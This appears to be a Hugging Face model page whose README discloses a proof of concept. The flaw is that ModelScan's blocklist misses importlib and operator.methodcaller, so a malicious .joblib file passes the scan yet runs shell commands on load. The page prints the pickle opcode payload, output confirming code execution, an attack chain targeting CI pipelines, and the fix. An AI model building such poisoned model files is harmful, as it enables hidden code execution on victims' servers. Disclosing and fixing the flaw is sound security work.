Downloads · 30 days
0
hoanghai2110/modelscan-importlib-bypass-poc
modelscan-importlib-bypass-poc is a machine learning model from hoanghai2110. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
Vulnerability type: Scanner bypass + Arbitrary Code Execution Affected library: protectai/model-scan ≤ 0.8.8 File format: .joblib (pickle-based) Severity: Critical
Downloads · 30 days
0
Access
Public
Updated Jun 28, 2026
Repo size
248 B
Likes
0
Public
Click a slice to open those files.
.md4.8 KB · 44%
From the Hugging Face model README
importlib + operator.methodcaller → ACE in .joblibVulnerability type: Scanner bypass + Arbitrary Code Execution
Affected library: protectai/model-scan ≤ 0.8.8
File format:.joblib(pickle-based)
Severity: Critical
ModelScan's unsafe_globals blocklist does not include importlib or
operator.methodcaller. A malicious .joblib file that uses only these two
modules executes arbitrary shell commands at load time while ModelScan
reports 0 issues.
Tested on:
| Package | Version |
|---|---|
| Python | 3.11.14 |
| modelscan | 0.8.8 (latest) |
| joblib | 1.5.3 (latest) |
| numpy | 2.4.6 |
$ python3 reproduce.py
============================================================
Bug: ModelScan blocklist bypass via importlib + methodcaller
============================================================
[*] Scanning evil_importlib.joblib with ModelScan 0.8.8 ...
total_issues : 0
CRITICAL : 0
scanned : 1
errors : 0
[✓] BYPASS CONFIRMED — ModelScan reports 0 issues
[*] Loading model (joblib.load / pickle.loads) ...
Payload output: RCE:uid=1000(runner) gid=1000(runner) groups=1000(runner)
[✓] RCE CONFIRMED — /tmp/pwned.txt created
# modelscan/settings.py — DEFAULT_SETTINGS["unsafe_globals"]
CRITICAL: {
"__builtin__": ["eval", "compile", "getattr", "apply", "exec", ...],
"builtins": ["eval", "compile", "getattr", "apply", "exec", ...],
"os": "*", "posix": "*", "subprocess": "*", "sys": "*",
"socket": "*", "runpy": "*", ...
}
importlib is not listed at any severity level.
operator is only partially listed (attrgetter only — methodcaller is absent).
GLOBAL operator methodcaller ← not in blocklist
MARK
SHORT_BINUNICODE 'system'
SHORT_BINUNICODE 'echo RCE:$(id)'
TUPLE
REDUCE ← mc = methodcaller("system", "echo RCE:$(id)")
MEMOIZE
GLOBAL importlib import_module ← not in blocklist
MARK
SHORT_BINUNICODE 'os'
TUPLE
REDUCE ← os_mod = importlib.import_module("os")
MEMOIZE
BINGET 0 (mc)
MARK
BINGET 1 (os_mod)
TUPLE
REDUCE ← mc(os_mod) = os.system("echo RCE:$(id)")
STOP
ModelScan's _list_globals() sees:
("operator", "methodcaller") → not in blocklist → ignored("importlib", "import_module") → not in blocklist → ignoredResult: raw_globals contains no flagged entries → ScanResults(issues=[]) → 0 issues.
Attacker Victim (ML engineer / CI pipeline)
──────── ────────────────────────────────────
1. Craft evil_importlib.joblib
(this repo)
2. Publish to Hugging Face Hub,
S3 bucket, or model registry.
3. CI runs ModelScan gate:
modelscan evil_importlib.joblib
Output: "No issues found" ✅
(0 critical, 0 high — scan passes)
4. Pipeline approves model.
5. Production calls joblib.load():
model = joblib.load("evil_importlib.joblib")
→ os.system() fires
→ Full ACE on production server
pip install joblib modelscan numpy
python3 reproduce.py
| File | Description |
|---|---|
evil_importlib.joblib | Malicious model — passes ModelScan, executes on load |
evil_gzip.joblib | Bonus: gzip-compressed bypass (Bug 1, separate root cause) |
reproduce.py | Full reproduction script with scan + load |
Add importlib and operator.methodcaller to the CRITICAL blocklist:
# modelscan/settings.py
"CRITICAL": {
...
"importlib": "*", # ADD
"operator": [
"attrgetter",
"methodcaller", # ADD
],
...
}
Additionally, audit all standard library modules that can transitively reach
os.system, subprocess, exec, or similar — this bypass class affects any
module reachable from the pickle stream that is absent from the blocklist.